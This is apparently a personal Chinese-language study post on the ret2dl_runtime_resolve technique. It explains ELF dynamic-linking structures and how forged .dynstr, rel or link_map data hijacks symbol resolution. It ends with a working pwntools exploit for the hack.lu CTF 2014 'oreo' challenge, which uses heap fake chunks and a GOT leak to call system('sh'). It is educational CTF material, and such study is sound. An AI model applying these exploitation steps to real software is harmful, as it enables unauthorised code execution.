我觉得这很难,所以开帖子记录自己的学习过程。
要学会这个利用方法首先要知道ELF文件的基本结构和动态链接的基本过程。
文章内容都是我自己的理解,出现错误也是非常正常的,欢迎指正。
动态链接:
1.在第一次调用plt的时候,会调用_dl_runtime_resolve
2.从链接库中得到地址,并且赋值到got表对应位置中。
而这个ROP利用的就是1到2之间的过程,首先我们要知道,调用_dl_runtime_resolve的时候,会传入两个参数进去,第一个参数对应的是link_map的地址,第二个参数对应的是地址在.rel.plt中的偏移。
link_map中有一个东西是.dynamic
.dynamic中有三个东西分别对应
(DT_STRTAB => .dynstr, DT_SYMTAB => .dynsym, DT_JMPREL =>.rel.plt)
这三个东西分别是啥呢,来介绍一下。
DT_STRTAB(ELF String Table)
顾名思义,str => string。这一块储存的就是导入函数的名称。
首先我们去400448h这个地址看一下。
没错,这里储存的就是所有导出函数的名称,这个表开头第一位是x00,每一个名字结尾还有个x00,标准的C语言字符串结构。
DT_SYMTAB(ELF Symbol Table)
这里放的是一个结构体。
typedef struct elf32_sym
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
typedef struct elf64_sym
{
Elf64_Word st_name; // 符号名称,字符串表中的索引
// STT_OBJECT表示符号关联到一个数据对象,如变量、数组或指针;
// STT_FUNC表示符号关联到一个函数;
// STT_NOTYPE表示符号类型未指定,用于未定义引用
unsigned char st_info; // 类型和绑定属性:STB_LOCAL/STB_GLOBAL/STB_WEAK;
unsigned char st_other; // 语义未定义,0
Elf64_Half st_shndx; // 相关节的索引,符号将绑定到该节,此外SHN_ABS指定符号是绝对值,不因重定位而改变,SHN_UNDEF标识未定义符号。
Elf64_Addr st_value; // 符号的值
Elf64_Xword st_size; // 符号的长度,如一个指针的长度或struct对象中包含的字节数。
}Elf64_Sym;
要注意的是
1.第一个字段放的不是字符串,而是在STRTAB中的索引
2.32位和64位的这个数据结构的大小不一样,32位是0x10,64位是0x18。
DT_JMPREL(ELF JMPREL Relocation Table)
这也是个数据结构,不过简单多了
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标,
} Elf32_Rel;
我来简单说明一下:
第一个参数就是指向GOT表的指针,用于等下把地址写入GOT表。
第二个参数是要把图中我选中的黄色部分去掉,也就是(val) >> 8 的值,这个值是这个导入的函数在DT_SYMTAB中的下标。
这个0x7结尾是导入函数规定的。
_dl_runtime_resolve会干什么?
_dl_runtime_resolve会
- 用link_map(第一个参数)访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
- .rel.plt + Offset(第二个参数),求出当前函数的在重定位表项(.rel.plt)中Elf32_Rel具体位置(指针),记作rel
- rel->r_info >> 8作为.dynsym的下标,求出当前函数在符号表项(.dynsym)中Elf32_Sym的具体位置(指针),记作sym
- .dynstr + sym->st_name,得到符号名字符串指针
- 在动态链接库查找这个字符串对应的函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
- 调用这个函数
利用方法
1.(No RELRO)直接改写.dynstr
直接改写.dynstr中对应函数字符串内容为我们想要的内容。
比如修改free为system,这样free(buf)的时候,如果buf的内容是 "/bin/sh", 那么就实现了system("/bin/sh")
2.修改调用时的偏移(第二个参数),指向我们构造的假的rel
我们知道_dl_runtime_resolve中利用我们这个偏移来计算出rel的位置,而正好这个偏移是没有考虑到是否越界访问的,所以可以实现让其指向我们伪造的rel结构。
都伪造好以后可以手动调用_dl_runtime_resolve达到修改的目的,两个参数(link_map, offset)。
这里要注意,虽然我们说的第一个参数,第二个参数,但是实际上,第二个参数比第一个参数先push。所以说我们这里虽然不知道link_map的地址,但是我们可以利用plt里面的push link_map的位置来执行调用,就是可以跳过push offset的那一块,直接从后面开始。
3.伪造link_map
首先要解决的是,程序获取对应符号的vernum不能够报错
解决方案
1.64位下 link_map + 0x1c8 要置0,使程序不进入if循环。前提是要泄漏出link_map的地址,位置在rop.got() + 8。
2.修改.dynamic中versym的值,要求NO RELRO
出错位置在于这里:
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
其他细节可以参照roputils里面的代码,这个程序利用的就是伪造link_maps来操作,所以官方的x64 demo中有对link_map + 0x1c8进行修改。
所以我们如果要利用roputils在x64下进行ret2_dl_runtime_resolve,那么需要以下步骤
1.用write对link_map的指针进行读取(在got + 8位置)
2.用read对link_map + 0x1c8这个位置进行写入0。
3.ret2_dl_runtime_resolve
由于以上需要的栈溢出大小较大,所以一般结合栈转移来进行(roputils中提供rop.pivot(addr)来进行栈转移,使用也较为方便)
例题:
结合方法1:hack.lu CTF 2014-OREO
在NO RELRO的情况下,修改.dynstr指针来ret2_dl_runtime_resolve。
我个人认为这个构造方法挺难的。我整了三四个小时才成功搞定这道题的ret2_dl_runtime_resolve的做法。
我这里的方法大概可以描述如下
1.修改.dynstr指针
2.伪造system字符串作为fake .dynstr
3.修改[email protected]为[email protected] + 6,也就是没dl_runtime_resolve时候的状态,只有在这个状态下才会执行dl_runtime_resolve去解析,否则会直接执行free。但是覆盖的时候要注意到结尾的x0A会覆盖到fgets的got表,而且fgets在接下来会被调用到,所以还要leak fgets的内容,并且覆盖成正确的内容,这时候x0A会覆盖到一个不会执行到的地方,就没关系了。
4.free,这时候free传入的地址是前面构造system的位置和另一个堆,所以这里选择构造shx00systemx00,并且把fake .dynstr往后移动三位。如果这里直接add再free的话,但是这时候add会报错,原因是之前构造指向的所以这个方案不可以。
from pwn import *
from LibcSearcher import *
#r = process('./oreo')
r = remote('wildwildweb.fluxfingers.net', 1414)
elf = ELF('./oreo')
def choice(idx):
r.sendline(str(idx))
def add_data(data):
choice(1)
r.sendline('')
r.sendline(data)
def add(next_ptr):
choice(1)
r.sendline('a' * (0x38 - 0x19 - 0x4) + p32(next_ptr))
r.sendline('sh\x00')
def show():
choice(2)
def free():
choice(3)
def add_msg(msg):
choice(4)
r.sendline(msg)
def show_stats():
choice(5)
for i in range(0x40 - 0x1):
add(0)
order_msg_ptr = 0x0804A2A8
order_msg_chunk = 0x0804A2C0
dynstr_addr = 0x0804A17C
add_msg(p32(0) + p32(0x41) + '\x00' * 0x38 + p32(0x18)) #nextChunk == \x00 && nextsize = 0x18
add(order_msg_chunk + 0x8) #order_msg_chunk + 0x8 == chunk content
free() #free fake chunk
#UAF:change fake chunk fd = order_msg_ptr struct
add_msg(p32(0) + p32(0x41) + p32(order_msg_ptr - 0x8) + '\x00' * 0x34 + p32(0x18))
add_data('') #get fake chunk
#change order_ptr to dynstr_addr & UAF2:change fake chunk fd = order_msg_ptr_struct
add_data(p32(dynstr_addr) + 'a' * 0x14 + p32(0) + p32(0x41) + p32(order_msg_ptr - 0x8))
#0x8 is fake chunk struct; 0x3 is sh\x00; -0x82 is offset of 'free' in .dynstr; other hex is copy from ida
add_msg(p32(0x5) + p32(order_msg_chunk + 0x8 + 0x3 - 0x82) + p32(0x6) + p32(0x80481F8))
add_data('sh\x00system\x00') #get fake chunk
add_data(p32(elf.got['free'])) #change order_ptr to [email protected]
show_stats() #leak [email protected] for next change
r.recvuntil('\xf7')
fgets_addr = u32(r.recvuntil('\xf7')[-4:])
#change [email protected] => [email protected] + 6; [email protected] is not change
add_msg(p32(elf.plt['free'] + 6) + p32(fgets_addr))
#system(unknown); system(sh\x00system\x00) => system(sh)
free()
r.interactive()
结合方法3:keer's bug
(借助roputils)
http://blog.wjhwjhn.com/archives/73/
参考链接#:
原创ret2dl-resolve详解 https://bbs.pediy.com/thread-227034.htm